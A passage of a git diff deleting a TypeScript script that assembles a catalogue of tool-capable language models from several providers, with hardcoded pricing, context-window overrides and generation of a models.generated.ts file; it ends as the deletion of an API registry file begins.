m.name || modelId, - api: "openai-completions", - provider: "groq", - baseUrl: "https://api.groq.com/openai/v1", - reasoning: m.reasoning === true, - input: m.modalities?.input?.includes("image") - ? ["text", "image"] - : ["text"], - cost: { - input: m.cost?.input || 0, - output: m.cost?.output || 0, - cacheRead: m.cost?.cache_read || 0, - cacheWrite: m.cost?.cache_write || 0, - }, - contextWindow: m.limit?.context || 4096, - maxTokens: m.limit?.output || 4096, - }); - } - } - - // Process Cerebras models - if (data.cerebras?.models) { - for (const [modelId, model] of Object.entries(data.cerebras.models)) { - const m = model as ModelsDevModel; - if (m.tool_call !== true) continue; - - models.push({ - id: modelId, - name: m.name || modelId, - api: "openai-completions", - provider: "cerebras", - baseUrl: "https://api.cerebras.ai/v1", - reasoning: m.reasoning === true, - input: m.modalities?.input?.includes("image") - ? ["text", "image"] - : ["text"], - cost: { - input: m.cost?.input || 0, - output: m.cost?.output || 0, - cacheRead: m.cost?.cache_read || 0, - cacheWrite: m.cost?.cache_write || 0, - }, - contextWindow: m.limit?.context || 4096, - maxTokens: m.limit?.output || 4096, - }); - } - } - - // Process xAi models - if (data.xai?.models) { - for (const [modelId, model] of Object.entries(data.xai.models)) { - const m = model as ModelsDevModel; - if (m.tool_call !== true) continue; - - models.push({ - id: modelId, - name: m.name || modelId, - api: "openai-completions", - provider: "xai", - baseUrl: "https://api.x.ai/v1", - reasoning: m.reasoning === true, - input: m.modalities?.input?.includes("image") - ? ["text", "image"] - : ["text"], - cost: { - input: m.cost?.input || 0, - output: m.cost?.output || 0, - cacheRead: m.cost?.cache_read || 0, - cacheWrite: m.cost?.cache_write || 0, - }, - contextWindow: m.limit?.context || 4096, - maxTokens: m.limit?.output || 4096, - }); - } - } - - // Process zAi models - if (data.zai?.models) { - for (const [modelId, model] of Object.entries(data.zai.models)) { - const m = model as ModelsDevModel; - if (m.tool_call !== true) continue; - const supportsImage = m.modalities?.input?.includes("image"); - - models.push({ - id: modelId, - name: m.name || modelId, - api: "openai-completions", - provider: "zai", - baseUrl: "https://api.z.ai/api/coding/paas/v4", - reasoning: m.reasoning === true, - input: supportsImage ? ["text", "image"] : ["text"], - cost: { - input: m.cost?.input || 0, - output: m.cost?.output || 0, - cacheRead: m.cost?.cache_read || 0, - cacheWrite: m.cost?.cache_write || 0, - }, - compat: { - supportsDeveloperRole: false, - thinkingFormat: "zai", - }, - contextWindow: m.limit?.context || 4096, - maxTokens: m.limit?.output || 4096, - }); - } - } - - // Process Mistral models - if (data.mistral?.models) { - for (const [modelId, model] of Object.entries(data.mistral.models)) { - const m = model as ModelsDevModel; - if (m.tool_call !== true) continue; - - models.push({ - id: modelId, - name: m.name || modelId, - api: "mistral-conversations", - provider: "mistral", - baseUrl: "https://api.mistral.ai", - reasoning: m.reasoning === true, - input: m.modalities?.input?.includes("image") - ? ["text", "image"] - : ["text"], - cost: { - input: m.cost?.input || 0, - output: m.cost?.output || 0, - cacheRead: m.cost?.cache_read || 0, - cacheWrite: m.cost?.cache_write || 0, - }, - contextWindow: m.limit?.context || 4096, - maxTokens: m.limit?.output || 4096, - }); - } - } - - // Process Hugging Face models - if (data.huggingface?.models) { - for (const [modelId, model] of Object.entries(data.huggingface.models)) { - const m = model as ModelsDevModel; - if (m.tool_call !== true) continue; - - models.push({ - id: modelId, - name: m.name || modelId, - api: "openai-completions", - provider: "huggingface", - baseUrl: "https://router.huggingface.co/v1", - reasoning: m.reasoning === true, - input: m.modalities?.input?.includes("image") - ? ["text", "image"] - : ["text"], - cost: { - input: m.cost?.input || 0, - output: m.cost?.output || 0, - cacheRead: m.cost?.cache_read || 0, - cacheWrite: m.cost?.cache_write || 0, - }, - compat: { - supportsDeveloperRole: false, - }, - contextWindow: m.limit?.context || 4096, - maxTokens: m.limit?.output || 4096, - }); - } - } - - // Process OpenCode models (Zen and Go) - // API mapping based on provider.npm field: - // - @ai-sdk/openai → openai-responses - // - @ai-sdk/anthropic → anthropic-messages - // - @ai-sdk/google → google-generative-ai - // - null/undefined/@ai-sdk/openai-compatible → openai-completions - const opencodeVariants = [ - { - key: "opencode", - provider: "opencode", - basePath: "https://opencode.ai/zen", - }, - { - key: "opencode-go", - provider: "opencode-go", - basePath: "https://opencode.ai/zen/go", - }, - ] as const; - - for (const variant of opencodeVariants) { - if (!data[variant.key]?.models) continue; - - for (const [modelId, model] of Object.entries(data[variant.key].models)) { - const m = model as ModelsDevModel & { status?: string }; - if (m.tool_call !== true) continue; - if (m.status === "deprecated") continue; - - const npm = m.provider?.npm; - let api: Api; - let baseUrl: string; - - if (npm === "@ai-sdk/openai") { - api = "openai-responses"; - baseUrl = `${variant.basePath}/v1`; - } else if (npm === "@ai-sdk/anthropic") { - api = "anthropic-messages"; - // Anthropic SDK appends /v1/messages to baseURL - baseUrl = variant.basePath; - } else if (npm === "@ai-sdk/google") { - api = "google-generative-ai"; - baseUrl = `${variant.basePath}/v1`; - } else { - // null, undefined, or @ai-sdk/openai-compatible - api = "openai-completions"; - baseUrl = `${variant.basePath}/v1`; - } - - models.push({ - id: modelId, - name: m.name || modelId, - api, - provider: variant.provider, - baseUrl, - reasoning: m.reasoning === true, - input: m.modalities?.input?.includes("image") - ? ["text", "image"] - : ["text"], - cost: { - input: m.cost?.input || 0, - output: m.cost?.output || 0, - cacheRead: m.cost?.cache_read || 0, - cacheWrite: m.cost?.cache_write || 0, - }, - contextWindow: m.limit?.context || 4096, - maxTokens: m.limit?.output || 4096, - }); - } - } - - // Process GitHub Copilot models - if (data["github-copilot"]?.models) { - for (const [modelId, model] of Object.entries( - data["github-copilot"].models, - )) { - const m = model as ModelsDevModel & { status?: string }; - if (m.tool_call !== true) continue; - if (m.status === "deprecated") continue; - - // Claude 4.x models route to Anthropic Messages API - const isCopilotClaude4 = /^claude-(haiku|sonnet|opus)-4([.-]|$)/.test( - modelId, - ); - // gpt-5 models require responses API, others use completions - const needsResponsesApi = - modelId.startsWith("gpt-5") || modelId.startsWith("oswe"); - - const api: Api = isCopilotClaude4 - ? "anthropic-messages" - : needsResponsesApi - ? "openai-responses" - : "openai-completions"; - - const copilotModel: Model = { - id: modelId, - name: m.name || modelId, - api, - provider: "github-copilot", - baseUrl: "https://api.individual.githubcopilot.com", - reasoning: m.reasoning === true, - input: m.modalities?.input?.includes("image") - ? ["text", "image"] - : ["text"], - cost: { - input: m.cost?.input || 0, - output: m.cost?.output || 0, - cacheRead: m.cost?.cache_read || 0, - cacheWrite: m.cost?.cache_write || 0, - }, - contextWindow: m.limit?.context || 128000, - maxTokens: m.limit?.output || 8192, - headers: { ...COPILOT_STATIC_HEADERS }, - // compat only applies to openai-completions - ...(api === "openai-completions" - ? { - compat: { - supportsStore: false, - supportsDeveloperRole: false, - supportsReasoningEffort: false, - }, - } - : {}), - }; - - models.push(copilotModel); - } - } - - // Process MiniMax models - const minimaxVariants = [ - { - key: "minimax", - provider: "minimax", - baseUrl: "https://api.minimax.io/anthropic", - }, - { - key: "minimax-cn", - provider: "minimax-cn", - baseUrl: "https://api.minimaxi.com/anthropic", - }, - ] as const; - - for (const { key, provider, baseUrl } of minimaxVariants) { - if (data[key]?.models) { - for (const [modelId, model] of Object.entries(data[key].models)) { - const m = model as ModelsDevModel; - if (m.tool_call !== true) continue; - - models.push({ - id: modelId, - name: m.name || modelId, - api: "anthropic-messages", - provider, - // MiniMax's Anthropic-compatible API - SDK appends /v1/messages - baseUrl, - reasoning: m.reasoning === true, - input: m.modalities?.input?.includes("image") - ? ["text", "image"] - : ["text"], - cost: { - input: m.cost?.input || 0, - output: m.cost?.output || 0, - cacheRead: m.cost?.cache_read || 0, - cacheWrite: m.cost?.cache_write || 0, - }, - contextWindow: m.limit?.context || 4096, - maxTokens: m.limit?.output || 4096, - }); - } - } - } - - // Process Kimi For Coding models. The kimi-coding endpoint is - // permissive on model slug, so we surface a single canonical id - // (kimi-k2.6) instead of the upstream "kimi-for-coding" alias to - // match opencode-go's slug for the same Moonshot K2.6 model. - if (data["kimi-for-coding"]?.models) { - for (const [modelId, model] of Object.entries( - data["kimi-for-coding"].models, - )) { - const m = model as ModelsDevModel; - if (m.tool_call !== true) continue; - const canonicalId = - modelId === "kimi-for-coding" ? "kimi-k2.6" : modelId; - - models.push({ - id: canonicalId, - name: m.name || canonicalId, - api: "anthropic-messages", - provider: "kimi-coding", - baseUrl: "https://api.kimi.com/coding", - reasoning: m.reasoning === true, - input: m.modalities?.input?.includes("image") - ? ["text", "image"] - : ["text"], - cost: { - input: m.cost?.input || 0, - output: m.cost?.output || 0, - cacheRead: m.cost?.cache_read || 0, - cacheWrite: m.cost?.cache_write || 0, - }, - contextWindow: m.limit?.context || 4096, - maxTokens: m.limit?.output || 4096, - }); - } - } - - console.log(`Loaded ${models.length} tool-capable models from models.dev`); - return models; - } catch (error) { - console.error("Failed to load models.dev data:", error); - return []; - } -} - -async function generateModels() { - // Fetch models from both sources - // models.dev: Anthropic, Google, OpenAI, Groq, Cerebras - // OpenRouter: xAI and other providers (excluding Anthropic, Google, OpenAI) - // AI Gateway: OpenAI-compatible catalog with tool-capable models - const modelsDevModels = await loadModelsDevData(); - const openRouterModels = await fetchOpenRouterModels(); - const aiGatewayModels = await fetchAiGatewayModels(); - - // Combine models (models.dev has priority) - const allModels = [ - ...modelsDevModels, - ...openRouterModels, - ...aiGatewayModels, - ].filter( - (model) => - !model.id.endsWith("-customtools") && - !( - (model.provider === "opencode" || model.provider === "opencode-go") && - model.id === "gpt-5.3-codex-spark" - ), - ); - - // Fix incorrect cache pricing for Claude Opus 4.5 from models.dev - // models.dev has 3x the correct pricing (1.5/18.75 instead of 0.5/6.25) - const opus45 = allModels.find( - (m) => m.provider === "anthropic" && m.id === "claude-opus-4-5", - ); - if (opus45) { - opus45.cost.cacheRead = 0.5; - opus45.cost.cacheWrite = 6.25; - } - - // Temporary overrides until upstream model metadata is corrected. - for (const candidate of allModels) { - if ( - candidate.provider === "amazon-bedrock" && - candidate.id.includes("anthropic.claude-opus-4-6-v1") - ) { - candidate.cost.cacheRead = 0.5; - candidate.cost.cacheWrite = 6.25; - candidate.contextWindow = 1000000; - } - if ( - candidate.provider === "amazon-bedrock" && - candidate.id.includes("anthropic.claude-sonnet-4-6") - ) { - candidate.contextWindow = 1000000; - } - if ( - (candidate.provider === "anthropic" || - candidate.provider === "opencode" || - candidate.provider === "opencode-go") && - (candidate.id === "claude-opus-4-6" || - candidate.id === "claude-sonnet-4-6" || - candidate.id === "claude-opus-4.6" || - candidate.id === "claude-sonnet-4.6") - ) { - candidate.contextWindow = 1000000; - } - // OpenCode variants list Claude Sonnet 4/4.5 with 1M context, actual limit is 200K - if ( - (candidate.provider === "opencode" || - candidate.provider === "opencode-go") && - (candidate.id === "claude-sonnet-4-5" || - candidate.id === "claude-sonnet-4") - ) { - candidate.contextWindow = 200000; - } - if ( - (candidate.provider === "opencode" || - candidate.provider === "opencode-go") && - candidate.id === "gpt-5.4" - ) { - candidate.contextWindow = 272000; - candidate.maxTokens = 128000; - } - if (candidate.provider === "openai" && candidate.id === "gpt-5.4") { - candidate.contextWindow = 272000; - candidate.maxTokens = 128000; - } - // Keep selected OpenRouter model metadata stable until upstream settles. - if ( - candidate.provider === "openrouter" && - candidate.id === "moonshotai/kimi-k2.5" - ) { - candidate.cost.input = 0.41; - candidate.cost.output = 2.06; - candidate.cost.cacheRead = 0.07; - candidate.maxTokens = 4096; - } - if (candidate.provider === "openrouter" && candidate.id === "z-ai/glm-5") { - candidate.cost.input = 0.6; - candidate.cost.output = 1.9; - candidate.cost.cacheRead = 0.119; - } - } - - // Add missing EU Opus 4.6 profile - if ( - !allModels.some( - (m) => - m.provider === "amazon-bedrock" && - m.id === "eu.anthropic.claude-opus-4-6-v1", - ) - ) { - allModels.push({ - id: "eu.anthropic.claude-opus-4-6-v1", - name: "Claude Opus 4.6 (EU)", - api: "bedrock-converse-stream", - provider: "amazon-bedrock", - baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 1000000, - maxTokens: 128000, - }); - } - - // Add missing Claude Opus 4.6 - if ( - !allModels.some( - (m) => m.provider === "anthropic" && m.id === "claude-opus-4-6", - ) - ) { - allModels.push({ - id: "claude-opus-4-6", - name: "Claude Opus 4.6", - api: "anthropic-messages", - baseUrl: "https://api.anthropic.com", - provider: "anthropic", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 1000000, - maxTokens: 128000, - }); - } - - // Add missing Claude Sonnet 4.6 - if ( - !allModels.some( - (m) => m.provider === "anthropic" && m.id === "claude-sonnet-4-6", - ) - ) { - allModels.push({ - id: "claude-sonnet-4-6", - name: "Claude Sonnet 4.6", - api: "anthropic-messages", - baseUrl: "https://api.anthropic.com", - provider: "anthropic", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 1000000, - maxTokens: 64000, - }); - } - - // Add missing Gemini 3.1 Flash Lite Preview until models.dev includes it. - if ( - !allModels.some( - (m) => - m.provider === "google" && m.id === "gemini-3.1-flash-lite-preview", - ) - ) { - allModels.push({ - id: "gemini-3.1-flash-lite-preview", - name: "Gemini 3.1 Flash Lite Preview", - api: "google-generative-ai", - baseUrl: "https://generativelanguage.googleapis.com/v1beta", - provider: "google", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - }); - } - - // Add missing gpt models - if ( - !allModels.some( - (m) => m.provider === "openai" && m.id === "gpt-5-chat-latest", - ) - ) { - allModels.push({ - id: "gpt-5-chat-latest", - name: "GPT-5 Chat Latest", - api: "openai-responses", - baseUrl: "https://api.openai.com/v1", - provider: "openai", - reasoning: false, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - }); - } - - if ( - !allModels.some((m) => m.provider === "openai" && m.id === "gpt-5.1-codex") - ) { - allModels.push({ - id: "gpt-5.1-codex", - name: "GPT-5.1 Codex", - api: "openai-responses", - baseUrl: "https://api.openai.com/v1", - provider: "openai", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 5, - cacheRead: 0.125, - cacheWrite: 1.25, - }, - contextWindow: 400000, - maxTokens: 128000, - }); - } - - if ( - !allModels.some( - (m) => m.provider === "openai" && m.id === "gpt-5.1-codex-max", - ) - ) { - allModels.push({ - id: "gpt-5.1-codex-max", - name: "GPT-5.1 Codex Max", - api: "openai-responses", - baseUrl: "https://api.openai.com/v1", - provider: "openai", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - }); - } - - if ( - !allModels.some( - (m) => m.provider === "openai" && m.id === "gpt-5.3-codex-spark", - ) - ) { - allModels.push({ - id: "gpt-5.3-codex-spark", - name: "GPT-5.3 Codex Spark", - api: "openai-responses", - baseUrl: "https://api.openai.com/v1", - provider: "openai", - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - }); - } - - // Add missing GitHub Copilot GPT-5.3 models until models.dev includes them. - const copilotBaseModel = allModels.find( - (m) => m.provider === "github-copilot" && m.id === "gpt-5.2-codex", - ); - if (copilotBaseModel) { - if ( - !allModels.some( - (m) => m.provider === "github-copilot" && m.id === "gpt-5.3-codex", - ) - ) { - allModels.push({ - ...copilotBaseModel, - id: "gpt-5.3-codex", - name: "GPT-5.3 Codex", - }); - } - } - - if (!allModels.some((m) => m.provider === "openai" && m.id === "gpt-5.4")) { - allModels.push({ - id: "gpt-5.4", - name: "GPT-5.4", - api: "openai-responses", - baseUrl: "https://api.openai.com/v1", - provider: "openai", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2.5, - output: 15, - cacheRead: 0.25, - cacheWrite: 0, - }, - contextWindow: 272000, - maxTokens: 128000, - }); - } - - // OpenAI Codex (ChatGPT OAuth) models - // NOTE: These are not fetched from models.dev; we keep a small, explicit list to avoid aliases. - // Context window is based on observed server limits (400s above ~272k), not marketing numbers. - const CODEX_BASE_URL = "https://chatgpt.com/backend-api"; - const CODEX_CONTEXT = 272000; - const CODEX_MAX_TOKENS = 128000; - const codexModels: Model<"openai-codex-responses">[] = [ - { - id: "gpt-5.3-codex", - name: "GPT-5.3 Codex", - api: "openai-codex-responses", - provider: "openai-codex", - baseUrl: CODEX_BASE_URL, - reasoning: true, - input: ["text", "image"], - cost: { input: 1.75, output: 14, cacheRead: 0.175, cacheWrite: 0 }, - contextWindow: CODEX_CONTEXT, - maxTokens: CODEX_MAX_TOKENS, - }, - { - id: "gpt-5.4", - name: "GPT-5.4", - api: "openai-codex-responses", - provider: "openai-codex", - baseUrl: CODEX_BASE_URL, - reasoning: true, - input: ["text", "image"], - cost: { input: 2.5, output: 15, cacheRead: 0.25, cacheWrite: 0 }, - contextWindow: CODEX_CONTEXT, - maxTokens: CODEX_MAX_TOKENS, - }, - { - id: "gpt-5.5", - name: "GPT-5.5", - api: "openai-codex-responses", - provider: "openai-codex", - baseUrl: CODEX_BASE_URL, - reasoning: true, - input: ["text", "image"], - cost: { input: 5, output: 30, cacheRead: 0.5, cacheWrite: 0 }, - contextWindow: CODEX_CONTEXT, - maxTokens: CODEX_MAX_TOKENS, - }, - { - id: "gpt-5.3-codex-spark", - name: "GPT-5.3 Codex Spark", - api: "openai-codex-responses", - provider: "openai-codex", - baseUrl: CODEX_BASE_URL, - reasoning: true, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128000, - maxTokens: CODEX_MAX_TOKENS, - }, - ]; - allModels.push(...codexModels); - - // Add missing Grok models - if ( - !allModels.some((m) => m.provider === "xai" && m.id === "grok-code-fast-1") - ) { - allModels.push({ - id: "grok-code-fast-1", - name: "Grok Code Fast 1", - api: "openai-completions", - baseUrl: "https://api.x.ai/v1", - provider: "xai", - reasoning: false, - input: ["text"], - cost: { - input: 0.2, - output: 1.5, - cacheRead: 0.02, - cacheWrite: 0, - }, - contextWindow: 32768, - maxTokens: 8192, - }); - } - - // Google Cloud Code Assist models — sourced from - // @google/gemini-cli-core's VALID_GEMINI_MODELS so new models ship - // automatically on `npm update @google/gemini-cli-core`. cli-core is - // the authoritative list for Code Assist-backed Gemini models. - // - // We filter out `*-customtools` preview variants — they require a - // specific tool protocol that SF's generic adapter doesn't speak. - const { - VALID_GEMINI_MODELS, - isProModel: cliCoreIsProModel, - isPreviewModel: cliCoreIsPreview, - } = await import("@google/gemini-cli-core"); - const CLOUD_CODE_ASSIST_ENDPOINT = "https://cloudcode-pa.googleapis.com"; - // Map every Gemini model tier to its (context_window, max_output_tokens) - // pair. cli-core doesn't publish these numbers — they live with SF. - const GEMINI_CONTEXT_OVERRIDES: Record< - string, - { contextWindow: number; maxTokens: number } - > = { - "gemini-3.1-pro-preview": { contextWindow: 2097152, maxTokens: 65536 }, - "gemini-3-pro-preview": { contextWindow: 2097152, maxTokens: 65536 }, - "gemini-3-flash-preview": { contextWindow: 1048576, maxTokens: 65536 }, - "gemini-3.1-flash-lite-preview": { - contextWindow: 1048576, - maxTokens: 32768, - }, - "gemini-2.5-pro": { contextWindow: 2097152, maxTokens: 65535 }, - "gemini-2.5-flash": { contextWindow: 1048576, maxTokens: 65535 }, - "gemini-2.5-flash-lite": { contextWindow: 1048576, maxTokens: 8192 }, - }; - const cloudCodeAssistModels: Model<"google-gemini-cli">[] = []; - for (const modelId of VALID_GEMINI_MODELS) { - if (modelId.endsWith("-customtools")) continue; // custom tool protocol — not yet supported - const override = GEMINI_CONTEXT_OVERRIDES[modelId] ?? { - contextWindow: 1048576, - maxTokens: 65535, - }; - const isPro = cliCoreIsProModel(modelId); - const isPreview = cliCoreIsPreview(modelId); - // Pro models (and 3.x preview pros) support thinking; flash-lite does not. - const reasoning = isPro || (isPreview && !modelId.includes("flash-lite")); - // Human-readable tier label for the name - const tier = modelId.includes("pro") - ? "Pro" - : modelId.includes("flash-lite") - ? "Flash Lite" - : modelId.includes("flash") - ? "Flash" - : ""; - const version = modelId.startsWith("gemini-3.1") - ? "3.1" - : modelId.startsWith("gemini-3-") - ? "3" - : modelId.startsWith("gemini-2.5") - ? "2.5" - : ""; - const previewSuffix = isPreview ? " Preview" : ""; - const displayName = - `Gemini ${version} ${tier}${previewSuffix} (Cloud Code Assist)` - .replace(/\s+/g, " ") - .trim(); - cloudCodeAssistModels.push({ - id: modelId, - name: displayName, - api: "google-gemini-cli", - provider: "google-gemini-cli", - baseUrl: CLOUD_CODE_ASSIST_ENDPOINT, - reasoning, - input: ["text", "image"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: override.contextWindow, - maxTokens: override.maxTokens, - }); - } - allModels.push(...cloudCodeAssistModels); - - const VERTEX_BASE_URL = "https://{location}-aiplatform.googleapis.com"; - const vertexModels: Model<"google-vertex">[] = [ - { - id: "gemini-3-pro-preview", - name: "Gemini 3 Pro Preview (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: VERTEX_BASE_URL, - reasoning: true, - input: ["text", "image"], - cost: { input: 2, output: 12, cacheRead: 0.2, cacheWrite: 0 }, - contextWindow: 1000000, - maxTokens: 64000, - }, - { - id: "gemini-3.1-pro-preview", - name: "Gemini 3.1 Pro Preview (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: VERTEX_BASE_URL, - reasoning: true, - input: ["text", "image"], - cost: { input: 2, output: 12, cacheRead: 0.2, cacheWrite: 0 }, - contextWindow: 1048576, - maxTokens: 65536, - }, - { - id: "gemini-3-flash-preview", - name: "Gemini 3 Flash Preview (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: VERTEX_BASE_URL, - reasoning: true, - input: ["text", "image"], - cost: { input: 0.5, output: 3, cacheRead: 0.05, cacheWrite: 0 }, - contextWindow: 1048576, - maxTokens: 65536, - }, - { - id: "gemini-2.0-flash", - name: "Gemini 2.0 Flash (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: VERTEX_BASE_URL, - reasoning: false, - input: ["text", "image"], - cost: { input: 0.15, output: 0.6, cacheRead: 0.0375, cacheWrite: 0 }, - contextWindow: 1048576, - maxTokens: 8192, - }, - { - id: "gemini-2.0-flash-lite", - name: "Gemini 2.0 Flash Lite (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: VERTEX_BASE_URL, - reasoning: true, - input: ["text", "image"], - cost: { input: 0.075, output: 0.3, cacheRead: 0.01875, cacheWrite: 0 }, - contextWindow: 1048576, - maxTokens: 65536, - }, - { - id: "gemini-2.5-pro", - name: "Gemini 2.5 Pro (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: VERTEX_BASE_URL, - reasoning: true, - input: ["text", "image"], - cost: { input: 1.25, output: 10, cacheRead: 0.125, cacheWrite: 0 }, - contextWindow: 1048576, - maxTokens: 65536, - }, - { - id: "gemini-2.5-flash", - name: "Gemini 2.5 Flash (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: VERTEX_BASE_URL, - reasoning: true, - input: ["text", "image"], - cost: { input: 0.3, output: 2.5, cacheRead: 0.03, cacheWrite: 0 }, - contextWindow: 1048576, - maxTokens: 65536, - }, - { - id: "gemini-2.5-flash-lite-preview-09-2025", - name: "Gemini 2.5 Flash Lite Preview 09-25 (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: VERTEX_BASE_URL, - reasoning: true, - input: ["text", "image"], - cost: { input: 0.1, output: 0.4, cacheRead: 0.01, cacheWrite: 0 }, - contextWindow: 1048576, - maxTokens: 65536, - }, - { - id: "gemini-2.5-flash-lite", - name: "Gemini 2.5 Flash Lite (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: VERTEX_BASE_URL, - reasoning: true, - input: ["text", "image"], - cost: { input: 0.1, output: 0.4, cacheRead: 0.01, cacheWrite: 0 }, - contextWindow: 1048576, - maxTokens: 65536, - }, - { - id: "gemini-1.5-pro", - name: "Gemini 1.5 Pro (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: VERTEX_BASE_URL, - reasoning: false, - input: ["text", "image"], - cost: { input: 1.25, output: 5, cacheRead: 0.3125, cacheWrite: 0 }, - contextWindow: 1000000, - maxTokens: 8192, - }, - { - id: "gemini-1.5-flash", - name: "Gemini 1.5 Flash (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: VERTEX_BASE_URL, - reasoning: false, - input: ["text", "image"], - cost: { input: 0.075, output: 0.3, cacheRead: 0.01875, cacheWrite: 0 }, - contextWindow: 1000000, - maxTokens: 8192, - }, - { - id: "gemini-1.5-flash-8b", - name: "Gemini 1.5 Flash-8B (Vertex)", - api: "google-vertex", - provider: "google-vertex", - baseUrl: VERTEX_BASE_URL, - reasoning: false, - input: ["text", "image"], - cost: { input: 0.0375, output: 0.15, cacheRead: 0.01, cacheWrite: 0 }, - contextWindow: 1000000, - maxTokens: 8192, - }, - ]; - allModels.push(...vertexModels); - - // Kimi For Coding models (Moonshot AI's Anthropic-compatible coding API) - // Static fallback in case models.dev doesn't have them yet - const KIMI_CODING_BASE_URL = "https://api.kimi.com/coding"; - const kimiCodingModels: Model<"anthropic-messages">[] = [ - { - id: "kimi-k2.6", - name: "Kimi K2.6", - api: "anthropic-messages", - provider: "kimi-coding", - baseUrl: KIMI_CODING_BASE_URL, - reasoning: true, - input: ["text", "image"], - capabilities: { thinkingNoBudget: true }, - // Kimi Code is subscription-backed, but SF ranking uses the normal - // pay-as-you-go Kimi K2.6 market price to compare models fairly. - // Source: OpenRouter moonshotai/kimi-k2.6, 2026-04-30. - cost: { input: 0.7448, output: 4.655, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 262144, - maxTokens: 32768, - }, - { - id: "kimi-k2-thinking", - name: "Kimi K2 Thinking", - api: "anthropic-messages", - provider: "kimi-coding", - baseUrl: KIMI_CODING_BASE_URL, - reasoning: true, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 262144, - maxTokens: 32768, - }, - ]; - // Only add if not already present from models.dev - for (const model of kimiCodingModels) { - if ( - !allModels.some((m) => m.provider === "kimi-coding" && m.id === model.id) - ) { - allModels.push(model); - } - } - - const azureOpenAiModels: Model[] = allModels - .filter( - (model) => - model.provider === "openai" && model.api === "openai-responses", - ) - .map((model) => ({ - ...model, - api: "azure-openai-responses", - provider: "azure-openai-responses", - baseUrl: "", - })); - allModels.push(...azureOpenAiModels); - - // Group by provider and deduplicate by model ID - const providers: Record>> = {}; - for (const model of allModels) { - if (!providers[model.provider]) { - providers[model.provider] = {}; - } - // Use model ID as key to automatically deduplicate - // Only add if not already present (models.dev takes priority over OpenRouter) - if (!providers[model.provider][model.id]) { - providers[model.provider][model.id] = model; - } - } - - // Generate TypeScript file - let output = `// This file is auto-generated by scripts/generate-models.ts -// Do not edit manually - run 'npm run generate-models' to update - -import type { Model } from "./types.js"; - -export const MODELS = { -`; - - // Generate provider sections (sorted for deterministic output) - const sortedProviderIds = Object.keys(providers).sort(); - for (const providerId of sortedProviderIds) { - const models = providers[providerId]; - output += `\t${JSON.stringify(providerId)}: {\n`; - - const sortedModelIds = Object.keys(models).sort(); - for (const modelId of sortedModelIds) { - const model = models[modelId]; - output += `\t\t"${model.id}": {\n`; - output += `\t\t\tid: "${model.id}",\n`; - output += `\t\t\tname: "${model.name}",\n`; - output += `\t\t\tapi: "${model.api}",\n`; - output += `\t\t\tprovider: "${model.provider}",\n`; - if (model.baseUrl !== undefined) { - output += `\t\t\tbaseUrl: "${model.baseUrl}",\n`; - } - if (model.headers) { - output += `\t\t\theaders: ${JSON.stringify(model.headers)},\n`; - } - if (model.compat) { - output += ` compat: ${JSON.stringify(model.compat)}, -`; - } - output += `\t\t\treasoning: ${model.reasoning},\n`; - output += `\t\t\tinput: [${model.input.map((i) => `"${i}"`).join(", ")}],\n`; - output += `\t\t\tcost: {\n`; - output += `\t\t\t\tinput: ${model.cost.input},\n`; - output += `\t\t\t\toutput: ${model.cost.output},\n`; - output += `\t\t\t\tcacheRead: ${model.cost.cacheRead},\n`; - output += `\t\t\t\tcacheWrite: ${model.cost.cacheWrite},\n`; - output += `\t\t\t},\n`; - output += `\t\t\tcontextWindow: ${model.contextWindow},\n`; - output += `\t\t\tmaxTokens: ${model.maxTokens},\n`; - output += `\t\t} satisfies Model<"${model.api}">,\n`; - } - - output += `\t},\n`; - } - - output += `} as const; -`; - - // Write file - writeFileSync(join(packageRoot, "src/models.generated.ts"), output); - console.log("Generated src/models.generated.ts"); - - // Print statistics - const totalModels = allModels.length; - const reasoningModels = allModels.filter((m) => m.reasoning).length; - - console.log(`\nModel Statistics:`); - console.log(` Total tool-capable models: ${totalModels}`); - console.log(` Reasoning-capable models: ${reasoningModels}`); - - for (const [provider, models] of Object.entries(providers)) { - console.log(` ${provider}: ${Object.keys(models).length} models`); - } -} - -// Run the generator -generateModels().catch(console.error); diff --git a/packages/pi-ai/src/api-registry.ts b/packages/pi-ai/src/api-registry.ts deleted file mode 100644 index 840131eb1..000000000 --- a/packages/pi-ai/src/api-registry.ts +++ /dev/null @@ -1,89 +0,0 @@ -import type { - Api, - AssistantMessageEventStream, - Context, - Model, - SimpleStreamOptions, - StreamFunction, - StreamOptions, -} from "./types.js"; - -export type 